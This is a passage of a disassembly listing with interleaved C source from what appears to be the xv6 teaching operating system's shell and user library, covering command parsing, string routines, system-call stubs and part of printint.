803: 57 push %edi
804: 56 push %esi
805: 53 push %ebx
806: 83 ec 14 sub $0x14,%esp
809: 8b 5d 08 mov 0x8(%ebp),%ebx
80c: 8b 75 0c mov 0xc(%ebp),%esi
cmd = parseexec(ps, es);
80f: 56 push %esi
810: 53 push %ebx
811: e8 da fe ff ff call 6f0 <parseexec>
if(peek(ps, es, "|")){
816: 83 c4 0c add $0xc,%esp
cmd = parseexec(ps, es);
819: 89 c7 mov %eax,%edi
if(peek(ps, es, "|")){
81b: 68 38 12 00 00 push $0x1238
820: 56 push %esi
821: 53 push %ebx
822: e8 a9 fd ff ff call 5d0 <peek>
827: 83 c4 10 add $0x10,%esp
82a: 85 c0 test %eax,%eax
82c: 75 12 jne 840 <parsepipe+0x40>
}
82e: 8d 65 f4 lea -0xc(%ebp),%esp
831: 89 f8 mov %edi,%eax
833: 5b pop %ebx
834: 5e pop %esi
835: 5f pop %edi
836: 5d pop %ebp
837: c3 ret
838: 90 nop
839: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
gettoken(ps, es, 0, 0);
840: 6a 00 push $0x0
842: 6a 00 push $0x0
844: 56 push %esi
845: 53 push %ebx
846: e8 15 fc ff ff call 460 <gettoken>
cmd = pipecmd(cmd, parsepipe(ps, es));
84b: 58 pop %eax
84c: 5a pop %edx
84d: 56 push %esi
84e: 53 push %ebx
84f: e8 ac ff ff ff call 800 <parsepipe>
854: 89 7d 08 mov %edi,0x8(%ebp)
857: 89 45 0c mov %eax,0xc(%ebp)
85a: 83 c4 10 add $0x10,%esp
}
85d: 8d 65 f4 lea -0xc(%ebp),%esp
860: 5b pop %ebx
861: 5e pop %esi
862: 5f pop %edi
863: 5d pop %ebp
cmd = pipecmd(cmd, parsepipe(ps, es));
864: e9 47 fb ff ff jmp 3b0 <pipecmd>
869: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000870 <parseline>:
{
870: 55 push %ebp
871: 89 e5 mov %esp,%ebp
873: 57 push %edi
874: 56 push %esi
875: 53 push %ebx
876: 83 ec 14 sub $0x14,%esp
879: 8b 5d 08 mov 0x8(%ebp),%ebx
87c: 8b 75 0c mov 0xc(%ebp),%esi
cmd = parsepipe(ps, es);
87f: 56 push %esi
880: 53 push %ebx
881: e8 7a ff ff ff call 800 <parsepipe>
while(peek(ps, es, "&")){
886: 83 c4 10 add $0x10,%esp
cmd = parsepipe(ps, es);
889: 89 c7 mov %eax,%edi
while(peek(ps, es, "&")){
88b: eb 1b jmp 8a8 <parseline+0x38>
88d: 8d 76 00 lea 0x0(%esi),%esi
gettoken(ps, es, 0, 0);
890: 6a 00 push $0x0
892: 6a 00 push $0x0
894: 56 push %esi
895: 53 push %ebx
896: e8 c5 fb ff ff call 460 <gettoken>
cmd = backcmd(cmd);
89b: 89 3c 24 mov %edi,(%esp)
89e: e8 8d fb ff ff call 430 <backcmd>
8a3: 83 c4 10 add $0x10,%esp
8a6: 89 c7 mov %eax,%edi
while(peek(ps, es, "&")){
8a8: 83 ec 04 sub $0x4,%esp
8ab: 68 3a 12 00 00 push $0x123a
8b0: 56 push %esi
8b1: 53 push %ebx
8b2: e8 19 fd ff ff call 5d0 <peek>
8b7: 83 c4 10 add $0x10,%esp
8ba: 85 c0 test %eax,%eax
8bc: 75 d2 jne 890 <parseline+0x20>
if(peek(ps, es, ";")){
8be: 83 ec 04 sub $0x4,%esp
8c1: 68 36 12 00 00 push $0x1236
8c6: 56 push %esi
8c7: 53 push %ebx
8c8: e8 03 fd ff ff call 5d0 <peek>
8cd: 83 c4 10 add $0x10,%esp
8d0: 85 c0 test %eax,%eax
8d2: 75 0c jne 8e0 <parseline+0x70>
}
8d4: 8d 65 f4 lea -0xc(%ebp),%esp
8d7: 89 f8 mov %edi,%eax
8d9: 5b pop %ebx
8da: 5e pop %esi
8db: 5f pop %edi
8dc: 5d pop %ebp
8dd: c3 ret
8de: 66 90 xchg %ax,%ax
gettoken(ps, es, 0, 0);
8e0: 6a 00 push $0x0
8e2: 6a 00 push $0x0
8e4: 56 push %esi
8e5: 53 push %ebx
8e6: e8 75 fb ff ff call 460 <gettoken>
cmd = listcmd(cmd, parseline(ps, es));
8eb: 58 pop %eax
8ec: 5a pop %edx
8ed: 56 push %esi
8ee: 53 push %ebx
8ef: e8 7c ff ff ff call 870 <parseline>
8f4: 89 7d 08 mov %edi,0x8(%ebp)
8f7: 89 45 0c mov %eax,0xc(%ebp)
8fa: 83 c4 10 add $0x10,%esp
}
8fd: 8d 65 f4 lea -0xc(%ebp),%esp
900: 5b pop %ebx
901: 5e pop %esi
902: 5f pop %edi
903: 5d pop %ebp
cmd = listcmd(cmd, parseline(ps, es));
904: e9 e7 fa ff ff jmp 3f0 <listcmd>
909: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000910 <parseblock>:
{
910: 55 push %ebp
911: 89 e5 mov %esp,%ebp
913: 57 push %edi
914: 56 push %esi
915: 53 push %ebx
916: 83 ec 10 sub $0x10,%esp
919: 8b 5d 08 mov 0x8(%ebp),%ebx
91c: 8b 75 0c mov 0xc(%ebp),%esi
if(!peek(ps, es, "("))
91f: 68 1c 12 00 00 push $0x121c
924: 56 push %esi
925: 53 push %ebx
926: e8 a5 fc ff ff call 5d0 <peek>
92b: 83 c4 10 add $0x10,%esp
92e: 85 c0 test %eax,%eax
930: 74 4a je 97c <parseblock+0x6c>
gettoken(ps, es, 0, 0);
932: 6a 00 push $0x0
934: 6a 00 push $0x0
936: 56 push %esi
937: 53 push %ebx
938: e8 23 fb ff ff call 460 <gettoken>
cmd = parseline(ps, es);
93d: 58 pop %eax
93e: 5a pop %edx
93f: 56 push %esi
940: 53 push %ebx
941: e8 2a ff ff ff call 870 <parseline>
if(!peek(ps, es, ")"))
946: 83 c4 0c add $0xc,%esp
cmd = parseline(ps, es);
949: 89 c7 mov %eax,%edi
if(!peek(ps, es, ")"))
94b: 68 58 12 00 00 push $0x1258
950: 56 push %esi
951: 53 push %ebx
952: e8 79 fc ff ff call 5d0 <peek>
957: 83 c4 10 add $0x10,%esp
95a: 85 c0 test %eax,%eax
95c: 74 2b je 989 <parseblock+0x79>
gettoken(ps, es, 0, 0);
95e: 6a 00 push $0x0
960: 6a 00 push $0x0
962: 56 push %esi
963: 53 push %ebx
964: e8 f7 fa ff ff call 460 <gettoken>
cmd = parseredirs(cmd, ps, es);
969: 83 c4 0c add $0xc,%esp
96c: 56 push %esi
96d: 53 push %ebx
96e: 57 push %edi
96f: e8 cc fc ff ff call 640 <parseredirs>
}
974: 8d 65 f4 lea -0xc(%ebp),%esp
977: 5b pop %ebx
978: 5e pop %esi
979: 5f pop %edi
97a: 5d pop %ebp
97b: c3 ret
panic("parseblock");
97c: 83 ec 0c sub $0xc,%esp
97f: 68 3c 12 00 00 push $0x123c
984: e8 c7 f7 ff ff call 150 <panic>
panic("syntax - missing )");
989: 83 ec 0c sub $0xc,%esp
98c: 68 47 12 00 00 push $0x1247
991: e8 ba f7 ff ff call 150 <panic>
996: 8d 76 00 lea 0x0(%esi),%esi
999: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000009a0 <nulterminate>:
// NUL-terminate all the counted strings.
struct cmd*
nulterminate(struct cmd *cmd)
{
9a0: 55 push %ebp
9a1: 89 e5 mov %esp,%ebp
9a3: 53 push %ebx
9a4: 83 ec 04 sub $0x4,%esp
9a7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
9aa: 85 db test %ebx,%ebx
9ac: 74 20 je 9ce <nulterminate+0x2e>
return 0;
switch(cmd->type){
9ae: 83 3b 05 cmpl $0x5,(%ebx)
9b1: 77 1b ja 9ce <nulterminate+0x2e>
9b3: 8b 03 mov (%ebx),%eax
9b5: ff 24 85 98 12 00 00 jmp *0x1298(,%eax,4)
9bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
nulterminate(lcmd->right);
break;
case BACK:
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
9c0: 83 ec 0c sub $0xc,%esp
9c3: ff 73 04 pushl 0x4(%ebx)
9c6: e8 d5 ff ff ff call 9a0 <nulterminate>
break;
9cb: 83 c4 10 add $0x10,%esp
}
return cmd;
}
9ce: 89 d8 mov %ebx,%eax
9d0: 8b 5d fc mov -0x4(%ebp),%ebx
9d3: c9 leave
9d4: c3 ret
9d5: 8d 76 00 lea 0x0(%esi),%esi
nulterminate(lcmd->left);
9d8: 83 ec 0c sub $0xc,%esp
9db: ff 73 04 pushl 0x4(%ebx)
9de: e8 bd ff ff ff call 9a0 <nulterminate>
nulterminate(lcmd->right);
9e3: 58 pop %eax
9e4: ff 73 08 pushl 0x8(%ebx)
9e7: e8 b4 ff ff ff call 9a0 <nulterminate>
}
9ec: 89 d8 mov %ebx,%eax
break;
9ee: 83 c4 10 add $0x10,%esp
}
9f1: 8b 5d fc mov -0x4(%ebp),%ebx
9f4: c9 leave
9f5: c3 ret
9f6: 8d 76 00 lea 0x0(%esi),%esi
9f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
for(i=0; ecmd->argv[i]; i++)
a00: 8b 4b 04 mov 0x4(%ebx),%ecx
a03: 8d 43 08 lea 0x8(%ebx),%eax
a06: 85 c9 test %ecx,%ecx
a08: 74 c4 je 9ce <nulterminate+0x2e>
a0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
*ecmd->eargv[i] = 0;
a10: 8b 50 24 mov 0x24(%eax),%edx
a13: 83 c0 04 add $0x4,%eax
a16: c6 02 00 movb $0x0,(%edx)
for(i=0; ecmd->argv[i]; i++)
a19: 8b 50 fc mov -0x4(%eax),%edx
a1c: 85 d2 test %edx,%edx
a1e: 75 f0 jne a10 <nulterminate+0x70>
}
a20: 89 d8 mov %ebx,%eax
a22: 8b 5d fc mov -0x4(%ebp),%ebx
a25: c9 leave
a26: c3 ret
a27: 89 f6 mov %esi,%esi
a29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
nulterminate(rcmd->cmd);
a30: 83 ec 0c sub $0xc,%esp
a33: ff 73 04 pushl 0x4(%ebx)
a36: e8 65 ff ff ff call 9a0 <nulterminate>
*rcmd->efile = 0;
a3b: 8b 43 0c mov 0xc(%ebx),%eax
break;
a3e: 83 c4 10 add $0x10,%esp
*rcmd->efile = 0;
a41: c6 00 00 movb $0x0,(%eax)
}
a44: 89 d8 mov %ebx,%eax
a46: 8b 5d fc mov -0x4(%ebp),%ebx
a49: c9 leave
a4a: c3 ret
a4b: 90 nop
a4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000a50 <parsecmd>:
{
a50: 55 push %ebp
a51: 89 e5 mov %esp,%ebp
a53: 56 push %esi
a54: 53 push %ebx
es = s + strlen(s);
a55: 8b 5d 08 mov 0x8(%ebp),%ebx
a58: 83 ec 0c sub $0xc,%esp
a5b: 53 push %ebx
a5c: e8 df 00 00 00 call b40 <strlen>
cmd = parseline(&s, es);
a61: 59 pop %ecx
es = s + strlen(s);
a62: 01 c3 add %eax,%ebx
cmd = parseline(&s, es);
a64: 8d 45 08 lea 0x8(%ebp),%eax
a67: 5e pop %esi
a68: 53 push %ebx
a69: 50 push %eax
a6a: e8 01 fe ff ff call 870 <parseline>
a6f: 89 c6 mov %eax,%esi
peek(&s, es, "");
a71: 8d 45 08 lea 0x8(%ebp),%eax
a74: 83 c4 0c add $0xc,%esp
a77: 68 e1 11 00 00 push $0x11e1
a7c: 53 push %ebx
a7d: 50 push %eax
a7e: e8 4d fb ff ff call 5d0 <peek>
if(s != es){
a83: 8b 45 08 mov 0x8(%ebp),%eax
a86: 83 c4 10 add $0x10,%esp
a89: 39 d8 cmp %ebx,%eax
a8b: 75 12 jne a9f <parsecmd+0x4f>
nulterminate(cmd);
a8d: 83 ec 0c sub $0xc,%esp
a90: 56 push %esi
a91: e8 0a ff ff ff call 9a0 <nulterminate>
}
a96: 8d 65 f8 lea -0x8(%ebp),%esp
a99: 89 f0 mov %esi,%eax
a9b: 5b pop %ebx
a9c: 5e pop %esi
a9d: 5d pop %ebp
a9e: c3 ret
printf(2, "leftovers: %s\n", s);
a9f: 52 push %edx
aa0: 50 push %eax
aa1: 68 5a 12 00 00 push $0x125a
aa6: 6a 02 push $0x2
aa8: e8 c3 03 00 00 call e70 <printf>
panic("syntax");
aad: c7 04 24 1e 12 00 00 movl $0x121e,(%esp)
ab4: e8 97 f6 ff ff call 150 <panic>
ab9: 66 90 xchg %ax,%ax
abb: 66 90 xchg %ax,%ax
abd: 66 90 xchg %ax,%ax
abf: 90 nop
00000ac0 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
ac0: 55 push %ebp
ac1: 89 e5 mov %esp,%ebp
ac3: 53 push %ebx
ac4: 8b 45 08 mov 0x8(%ebp),%eax
ac7: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
aca: 89 c2 mov %eax,%edx
acc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ad0: 83 c1 01 add $0x1,%ecx
ad3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
ad7: 83 c2 01 add $0x1,%edx
ada: 84 db test %bl,%bl
adc: 88 5a ff mov %bl,-0x1(%edx)
adf: 75 ef jne ad0 <strcpy+0x10>
;
return os;
}
ae1: 5b pop %ebx
ae2: 5d pop %ebp
ae3: c3 ret
ae4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
aea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000af0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
af0: 55 push %ebp
af1: 89 e5 mov %esp,%ebp
af3: 53 push %ebx
af4: 8b 55 08 mov 0x8(%ebp),%edx
af7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
afa: 0f b6 02 movzbl (%edx),%eax
afd: 0f b6 19 movzbl (%ecx),%ebx
b00: 84 c0 test %al,%al
b02: 75 1c jne b20 <strcmp+0x30>
b04: eb 2a jmp b30 <strcmp+0x40>
b06: 8d 76 00 lea 0x0(%esi),%esi
b09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
b10: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
b13: 0f b6 02 movzbl (%edx),%eax
p++, q++;
b16: 83 c1 01 add $0x1,%ecx
b19: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
b1c: 84 c0 test %al,%al
b1e: 74 10 je b30 <strcmp+0x40>
b20: 38 d8 cmp %bl,%al
b22: 74 ec je b10 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
b24: 29 d8 sub %ebx,%eax
}
b26: 5b pop %ebx
b27: 5d pop %ebp
b28: c3 ret
b29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
b30: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
b32: 29 d8 sub %ebx,%eax
}
b34: 5b pop %ebx
b35: 5d pop %ebp
b36: c3 ret
b37: 89 f6 mov %esi,%esi
b39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000b40 <strlen>:
uint
strlen(const char *s)
{
b40: 55 push %ebp
b41: 89 e5 mov %esp,%ebp
b43: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
b46: 80 39 00 cmpb $0x0,(%ecx)
b49: 74 15 je b60 <strlen+0x20>
b4b: 31 d2 xor %edx,%edx
b4d: 8d 76 00 lea 0x0(%esi),%esi
b50: 83 c2 01 add $0x1,%edx
b53: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
b57: 89 d0 mov %edx,%eax
b59: 75 f5 jne b50 <strlen+0x10>
;
return n;
}
b5b: 5d pop %ebp
b5c: c3 ret
b5d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
b60: 31 c0 xor %eax,%eax
}
b62: 5d pop %ebp
b63: c3 ret
b64: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
b6a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000b70 <memset>:
void*
memset(void *dst, int c, uint n)
{
b70: 55 push %ebp
b71: 89 e5 mov %esp,%ebp
b73: 57 push %edi
b74: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
b77: 8b 4d 10 mov 0x10(%ebp),%ecx
b7a: 8b 45 0c mov 0xc(%ebp),%eax
b7d: 89 d7 mov %edx,%edi
b7f: fc cld
b80: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
b82: 89 d0 mov %edx,%eax
b84: 5f pop %edi
b85: 5d pop %ebp
b86: c3 ret
b87: 89 f6 mov %esi,%esi
b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000b90 <strchr>:
char*
strchr(const char *s, char c)
{
b90: 55 push %ebp
b91: 89 e5 mov %esp,%ebp
b93: 53 push %ebx
b94: 8b 45 08 mov 0x8(%ebp),%eax
b97: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
b9a: 0f b6 10 movzbl (%eax),%edx
b9d: 84 d2 test %dl,%dl
b9f: 74 1d je bbe <strchr+0x2e>
if(*s == c)
ba1: 38 d3 cmp %dl,%bl
ba3: 89 d9 mov %ebx,%ecx
ba5: 75 0d jne bb4 <strchr+0x24>
ba7: eb 17 jmp bc0 <strchr+0x30>
ba9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
bb0: 38 ca cmp %cl,%dl
bb2: 74 0c je bc0 <strchr+0x30>
for(; *s; s++)
bb4: 83 c0 01 add $0x1,%eax
bb7: 0f b6 10 movzbl (%eax),%edx
bba: 84 d2 test %dl,%dl
bbc: 75 f2 jne bb0 <strchr+0x20>
return (char*)s;
return 0;
bbe: 31 c0 xor %eax,%eax
}
bc0: 5b pop %ebx
bc1: 5d pop %ebp
bc2: c3 ret
bc3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
bc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000bd0 <gets>:
char*
gets(char *buf, int max)
{
bd0: 55 push %ebp
bd1: 89 e5 mov %esp,%ebp
bd3: 57 push %edi
bd4: 56 push %esi
bd5: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
bd6: 31 f6 xor %esi,%esi
bd8: 89 f3 mov %esi,%ebx
{
bda: 83 ec 1c sub $0x1c,%esp
bdd: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
be0: eb 2f jmp c11 <gets+0x41>
be2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
be8: 8d 45 e7 lea -0x19(%ebp),%eax
beb: 83 ec 04 sub $0x4,%esp
bee: 6a 01 push $0x1
bf0: 50 push %eax
bf1: 6a 00 push $0x0
bf3: e8 32 01 00 00 call d2a <read>
if(cc < 1)
bf8: 83 c4 10 add $0x10,%esp
bfb: 85 c0 test %eax,%eax
bfd: 7e 1c jle c1b <gets+0x4b>
break;
buf[i++] = c;
bff: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
c03: 83 c7 01 add $0x1,%edi
c06: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
c09: 3c 0a cmp $0xa,%al
c0b: 74 23 je c30 <gets+0x60>
c0d: 3c 0d cmp $0xd,%al
c0f: 74 1f je c30 <gets+0x60>
for(i=0; i+1 < max; ){
c11: 83 c3 01 add $0x1,%ebx
c14: 3b 5d 0c cmp 0xc(%ebp),%ebx
c17: 89 fe mov %edi,%esi
c19: 7c cd jl be8 <gets+0x18>
c1b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
c1d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
c20: c6 03 00 movb $0x0,(%ebx)
}
c23: 8d 65 f4 lea -0xc(%ebp),%esp
c26: 5b pop %ebx
c27: 5e pop %esi
c28: 5f pop %edi
c29: 5d pop %ebp
c2a: c3 ret
c2b: 90 nop
c2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c30: 8b 75 08 mov 0x8(%ebp),%esi
c33: 8b 45 08 mov 0x8(%ebp),%eax
c36: 01 de add %ebx,%esi
c38: 89 f3 mov %esi,%ebx
buf[i] = '\0';
c3a: c6 03 00 movb $0x0,(%ebx)
}
c3d: 8d 65 f4 lea -0xc(%ebp),%esp
c40: 5b pop %ebx
c41: 5e pop %esi
c42: 5f pop %edi
c43: 5d pop %ebp
c44: c3 ret
c45: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000c50 <stat>:
int
stat(const char *n, struct stat *st)
{
c50: 55 push %ebp
c51: 89 e5 mov %esp,%ebp
c53: 56 push %esi
c54: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
c55: 83 ec 08 sub $0x8,%esp
c58: 6a 00 push $0x0
c5a: ff 75 08 pushl 0x8(%ebp)
c5d: e8 f0 00 00 00 call d52 <open>
if(fd < 0)
c62: 83 c4 10 add $0x10,%esp
c65: 85 c0 test %eax,%eax
c67: 78 27 js c90 <stat+0x40>
return -1;
r = fstat(fd, st);
c69: 83 ec 08 sub $0x8,%esp
c6c: ff 75 0c pushl 0xc(%ebp)
c6f: 89 c3 mov %eax,%ebx
c71: 50 push %eax
c72: e8 f3 00 00 00 call d6a <fstat>
close(fd);
c77: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
c7a: 89 c6 mov %eax,%esi
close(fd);
c7c: e8 b9 00 00 00 call d3a <close>
return r;
c81: 83 c4 10 add $0x10,%esp
}
c84: 8d 65 f8 lea -0x8(%ebp),%esp
c87: 89 f0 mov %esi,%eax
c89: 5b pop %ebx
c8a: 5e pop %esi
c8b: 5d pop %ebp
c8c: c3 ret
c8d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
c90: be ff ff ff ff mov $0xffffffff,%esi
c95: eb ed jmp c84 <stat+0x34>
c97: 89 f6 mov %esi,%esi
c99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000ca0 <atoi>:
int
atoi(const char *s)
{
ca0: 55 push %ebp
ca1: 89 e5 mov %esp,%ebp
ca3: 53 push %ebx
ca4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
ca7: 0f be 11 movsbl (%ecx),%edx
caa: 8d 42 d0 lea -0x30(%edx),%eax
cad: 3c 09 cmp $0x9,%al
n = 0;
caf: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
cb4: 77 1f ja cd5 <atoi+0x35>
cb6: 8d 76 00 lea 0x0(%esi),%esi
cb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
cc0: 8d 04 80 lea (%eax,%eax,4),%eax
cc3: 83 c1 01 add $0x1,%ecx
cc6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
cca: 0f be 11 movsbl (%ecx),%edx
ccd: 8d 5a d0 lea -0x30(%edx),%ebx
cd0: 80 fb 09 cmp $0x9,%bl
cd3: 76 eb jbe cc0 <atoi+0x20>
return n;
}
cd5: 5b pop %ebx
cd6: 5d pop %ebp
cd7: c3 ret
cd8: 90 nop
cd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000ce0 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
ce0: 55 push %ebp
ce1: 89 e5 mov %esp,%ebp
ce3: 56 push %esi
ce4: 53 push %ebx
ce5: 8b 5d 10 mov 0x10(%ebp),%ebx
ce8: 8b 45 08 mov 0x8(%ebp),%eax
ceb: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
cee: 85 db test %ebx,%ebx
cf0: 7e 14 jle d06 <memmove+0x26>
cf2: 31 d2 xor %edx,%edx
cf4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
cf8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
cfc: 88 0c 10 mov %cl,(%eax,%edx,1)
cff: 83 c2 01 add $0x1,%edx
while(n-- > 0)
d02: 39 d3 cmp %edx,%ebx
d04: 75 f2 jne cf8 <memmove+0x18>
return vdst;
}
d06: 5b pop %ebx
d07: 5e pop %esi
d08: 5d pop %ebp
d09: c3 ret
00000d0a <fork>:
d0a: b8 01 00 00 00 mov $0x1,%eax
d0f: cd 40 int $0x40
d11: c3 ret
00000d12 <exit>:
d12: b8 02 00 00 00 mov $0x2,%eax
d17: cd 40 int $0x40
d19: c3 ret
00000d1a <wait>:
d1a: b8 03 00 00 00 mov $0x3,%eax
d1f: cd 40 int $0x40
d21: c3 ret
00000d22 <pipe>:
d22: b8 04 00 00 00 mov $0x4,%eax
d27: cd 40 int $0x40
d29: c3 ret
00000d2a <read>:
d2a: b8 05 00 00 00 mov $0x5,%eax
d2f: cd 40 int $0x40
d31: c3 ret
00000d32 <write>:
d32: b8 10 00 00 00 mov $0x10,%eax
d37: cd 40 int $0x40
d39: c3 ret
00000d3a <close>:
d3a: b8 15 00 00 00 mov $0x15,%eax
d3f: cd 40 int $0x40
d41: c3 ret
00000d42 <kill>:
d42: b8 06 00 00 00 mov $0x6,%eax
d47: cd 40 int $0x40
d49: c3 ret
00000d4a <exec>:
d4a: b8 07 00 00 00 mov $0x7,%eax
d4f: cd 40 int $0x40
d51: c3 ret
00000d52 <open>:
d52: b8 0f 00 00 00 mov $0xf,%eax
d57: cd 40 int $0x40
d59: c3 ret
00000d5a <mknod>:
d5a: b8 11 00 00 00 mov $0x11,%eax
d5f: cd 40 int $0x40
d61: c3 ret
00000d62 <unlink>:
d62: b8 12 00 00 00 mov $0x12,%eax
d67: cd 40 int $0x40
d69: c3 ret
00000d6a <fstat>:
d6a: b8 08 00 00 00 mov $0x8,%eax
d6f: cd 40 int $0x40
d71: c3 ret
00000d72 <link>:
d72: b8 13 00 00 00 mov $0x13,%eax
d77: cd 40 int $0x40
d79: c3 ret
00000d7a <mkdir>:
d7a: b8 14 00 00 00 mov $0x14,%eax
d7f: cd 40 int $0x40
d81: c3 ret
00000d82 <chdir>:
d82: b8 09 00 00 00 mov $0x9,%eax
d87: cd 40 int $0x40
d89: c3 ret
00000d8a <dup>:
d8a: b8 0a 00 00 00 mov $0xa,%eax
d8f: cd 40 int $0x40
d91: c3 ret
00000d92 <getpid>:
d92: b8 0b 00 00 00 mov $0xb,%eax
d97: cd 40 int $0x40
d99: c3 ret
00000d9a <sbrk>:
d9a: b8 0c 00 00 00 mov $0xc,%eax
d9f: cd 40 int $0x40
da1: c3 ret
00000da2 <sleep>:
da2: b8 0d 00 00 00 mov $0xd,%eax
da7: cd 40 int $0x40
da9: c3 ret
00000daa <uptime>:
daa: b8 0e 00 00 00 mov $0xe,%eax
daf: cd 40 int $0x40
db1: c3 ret
00000db2 <acquireTest>:
db2: b8 16 00 00 00 mov $0x16,%eax
db7: cd 40 int $0x40
db9: c3 ret
00000dba <barrier>:
dba: b8 17 00 00 00 mov $0x17,%eax
dbf: cd 40 int $0x40
dc1: c3 ret
dc2: 66 90 xchg %ax,%ax
dc4: 66 90 xchg %ax,%ax
dc6: 66 90 xchg %ax,%ax
dc8: 66 90 xchg %ax,%ax
dca: 66 90 xchg %ax,%ax
dcc: 66 90 xchg %ax,%ax
dce: 66 90 xchg %ax,%ax
00000dd0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
dd0: 55 push %ebp
dd1: 89 e5 mov %esp,%ebp
dd3: 57 push %edi
dd4: 56 push %esi
dd5: 53 push %ebx
dd6: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
dd9: 85 d2 test %edx,%edx
{
ddb: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
dde: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
de0: 79 76 jns e58 <printint+0x88>
de2: f6 45 08 01 testb $0x1,0x8(%ebp)
de6: 74 70 je e58 <printint+0x88>
x = -xx;
de8: f7 d8 neg %eax
neg = 1;
dea: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
df1: 31 f6 xor %esi,%esi
df3: 8d 5d d7 lea -0x29(%ebp),%ebx
df6: eb 0a jmp e02 <printint+0x32>
df8: 90 nop
df9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
e00: 89 fe mov %edi,%esi
e02: 31 d2 xor %edx,%edx
e04: 8d 7e 01 lea 0x1(%esi),%edi
e07: f7 f1 div %ecx
e09: 0f b6 92 b8 12 00 00 movzbl 0x12b8(%edx),%edx
}while((x /= base) != 0);
e10: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
e12: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
e15: 75 e9 jne e00 <printint+0x30>
if(neg)
e17: 8b 45 c4 mov -0x3c(%ebp),%eax
e1a: 85 c0 test %eax,%eax
e1c: 74 08 je e26 <printint+0x56>
buf[i++] = '-';
e1e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
